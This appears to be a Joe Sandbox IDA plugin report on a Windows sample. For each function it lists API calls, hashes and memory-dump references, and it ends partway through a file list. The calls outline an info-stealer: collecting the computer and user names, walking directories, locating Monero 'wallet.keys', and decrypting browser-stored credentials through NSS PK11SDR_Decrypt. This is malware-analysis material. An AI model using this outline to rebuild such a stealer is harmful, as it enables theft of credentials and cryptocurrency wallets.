Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: d37e09f5434c8b5687402e3462ffb17b710a2f3a3f8a42f7884c16cb7dd1ac8b
Instruction ID: 9c95af537e3e1e34efc5073347d94c53eeb40638de47859c8239e103c2a111c0
Opcode Fuzzy Hash: d37e09f5434c8b5687402e3462ffb17b710a2f3a3f8a42f7884c16cb7dd1ac8b
Instruction Fuzzy Hash: 36F0E53114C20CABE726AE59DC4ABFF3368EB04301F204412FA968A481DA729E54E75F

Function 00808D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,007F1B54,?,?,0081564C,?,?,00810E1F), ref: 00808D9F

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 630a9164b9dc5ea9587e58c0ff8487ab1eb5399919ea9fb43f52875fb55233db
Instruction ID: 3cf03b16c7be7b7bcdc02dfe9568cebe4a88c8e5a4abf0a655832dcbde96b150
Opcode Fuzzy Hash: 630a9164b9dc5ea9587e58c0ff8487ab1eb5399919ea9fb43f52875fb55233db
Instruction Fuzzy Hash: B9F0AC70D0020CEBCB44EF94DD456DCBB74FB10314F108299E856A72D0DB745A95DB81

Function 00808DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00808E0B

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 28b02caf99adcc73ec6b5d63b2d86da414cd8a814c0ef91a053bced6da82bf3d
Instruction ID: 0df9bcf90a95c73c18fe4b63a962d8e0ee5714585a8b80dd2230091e7572eea7
Opcode Fuzzy Hash: 28b02caf99adcc73ec6b5d63b2d86da414cd8a814c0ef91a053bced6da82bf3d
Instruction Fuzzy Hash: A5E0123194034C6BDB91EB94CC96FAD777CEB44B01F004295BA4C9A1C0DE70AB858B92

Function 007F1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 008078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00807910
Part of subcall function 008078E0: RtlAllocateHeap.NTDLL(00000000), ref: 00807917
Part of subcall function 008078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0080792F

Part of subcall function 00807850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007F11B7), ref: 00807880
Part of subcall function 00807850: RtlAllocateHeap.NTDLL(00000000), ref: 00807887
Part of subcall function 00807850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0080789F

ExitProcess.KERNEL32 ref: 007F11C6

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 5b9ac0d6d6ef9c6b484bdf06042b1c6d13338599394eb4f87ba17ae4e77acb6f
Instruction ID: 118a4b24f74df685226a572b357241a4956475526b093e1efb4d02dc8bde6782
Opcode Fuzzy Hash: 5b9ac0d6d6ef9c6b484bdf06042b1c6d13338599394eb4f87ba17ae4e77acb6f
Instruction Fuzzy Hash: 3BE012B5E1431993CA40B3F8AC0BB2A329CAB24345F040425FA45D2682FA29F801C56B

Non-executed Functions

Function 008038B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 008038CC
FindFirstFileA.KERNEL32(?,?), ref: 008038E3
lstrcat.KERNEL32(?,?), ref: 00803935
StrCmpCA.SHLWAPI(?,00810F70), ref: 00803947
StrCmpCA.SHLWAPI(?,00810F74), ref: 0080395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00803C67
FindClose.KERNEL32(000000FF), ref: 00803C7C

Strings

%s\%s\%s, xrefs: 00803A4A
%s\%s, xrefs: 0080397A
%s\%s, xrefs: 00803A6F
%s%s, xrefs: 00803AAD
%s\*, xrefs: 008038C0

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 7318c0973955edfe7057c2ba52c5ef721412e2e0c240a550d986310febf56d9a
Instruction ID: 8d99f2dfa17e896253710476e90463da04b9df914c3c3c2596504e9f9d193d4c
Opcode Fuzzy Hash: 7318c0973955edfe7057c2ba52c5ef721412e2e0c240a550d986310febf56d9a
Instruction Fuzzy Hash: F9A13FB1A002189BDB64DBA4DC85FEA737CFF58300F044588B65DD6181EB759B85CF62

Function 00804570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00804580
RtlAllocateHeap.NTDLL(00000000), ref: 00804587
wsprintfA.USER32 ref: 008045A6
FindFirstFileA.KERNEL32(?,?), ref: 008045BD
StrCmpCA.SHLWAPI(?,00810FC4), ref: 008045EB
StrCmpCA.SHLWAPI(?,00810FC8), ref: 00804601
FindNextFileA.KERNEL32(000000FF,?), ref: 0080468B
FindClose.KERNEL32(000000FF), ref: 008046A0
lstrcat.KERNEL32(?,0135EA08), ref: 008046C5
lstrcat.KERNEL32(?,0135D780), ref: 008046D8
lstrlen.KERNEL32(?), ref: 008046E5
lstrlen.KERNEL32(?), ref: 008046F6

Strings

%s\*, xrefs: 0080459A
%s\%s, xrefs: 0080461B

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 92c46a1215f1f03f008f82400db04bbc361682f2782e3bc1558c8471b2214f9b
Instruction ID: 5c4a2b88a147c9945613d1f360d5291e852822fc9538722d50883ce8fc527604
Opcode Fuzzy Hash: 92c46a1215f1f03f008f82400db04bbc361682f2782e3bc1558c8471b2214f9b
Instruction Fuzzy Hash: D85154B25402189BC764EBB4DC89FEA737CFB68300F404588B659D2190EF759B858F92

Function 007FED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 007FED3E
FindFirstFileA.KERNEL32(?,?), ref: 007FED55
StrCmpCA.SHLWAPI(?,00811538), ref: 007FEDAB
StrCmpCA.SHLWAPI(?,0081153C), ref: 007FEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 007FF2AE
FindClose.KERNEL32(000000FF), ref: 007FF2C3

Strings

%s\*.*, xrefs: 007FED32

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 3d329f3e51e96c666d143c5aa39d37dd3bf89b8cc33bf3fb4fa71630ad0a8e8f
Instruction ID: 7038ac4295890f71226161e0edc5ffd21679e4747507a277e2563f968e864bcd
Opcode Fuzzy Hash: 3d329f3e51e96c666d143c5aa39d37dd3bf89b8cc33bf3fb4fa71630ad0a8e8f
Instruction Fuzzy Hash: 29E1B47191121896EB98FB64DC95EEE7338FF54300F4081A9B516E21D2EE346B8ACF53

Function 007FDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00810C2E), ref: 007FDE5E
StrCmpCA.SHLWAPI(?,008114C8), ref: 007FDEAE
StrCmpCA.SHLWAPI(?,008114CC), ref: 007FDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 007FE3E0
FindClose.KERNEL32(000000FF), ref: 007FE3F2

Strings

\*.*, xrefs: 007FDE26

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 8942d2d4903824a093f8064fa39e7c68fc4376a0739ba00a3f3b1d429d535af2
Instruction ID: 54326077313427f07fa3a69b62995cd8bcbcc003f0b2357fc4e9c8dab63dd92f
Opcode Fuzzy Hash: 8942d2d4903824a093f8064fa39e7c68fc4376a0739ba00a3f3b1d429d535af2
Instruction Fuzzy Hash: 0EF19F719102189ADB59EB64DC95EEE7338FF24300F4041E9B51AA21D1EF346B8ACF53

Function 007FC820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 007FC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 007FC87C
PK11_GetInternalKeySlot.NSS3 ref: 007FC88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 007FC8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 007FC8EB
lstrcat.KERNEL32(?,00810B46), ref: 007FC943
lstrcat.KERNEL32(?,00810B47), ref: 007FC957
PK11_FreeSlot.NSS3(?), ref: 007FC961
lstrcat.KERNEL32(?,00810B4E), ref: 007FC978

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
